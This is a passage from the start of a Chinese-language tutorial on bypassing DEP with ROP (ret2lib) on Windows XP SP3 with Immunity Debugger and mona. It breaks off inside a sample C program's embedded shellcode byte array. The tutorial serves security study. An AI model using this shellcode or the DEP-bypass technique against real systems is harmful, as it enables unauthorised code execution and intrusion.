DEP绕过ROP(ret2lib)技术总结
样本空间
测试环境
- 操作系统:windows xp sp3
- 工具:immunity debugger
mona可以自动生成rop链,但是有些链还需要修改,所以本文就从原理上讲了下链的形成。
样本源码:
#include <stdio.h>
#include <string.h>
#include <windows.h>
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69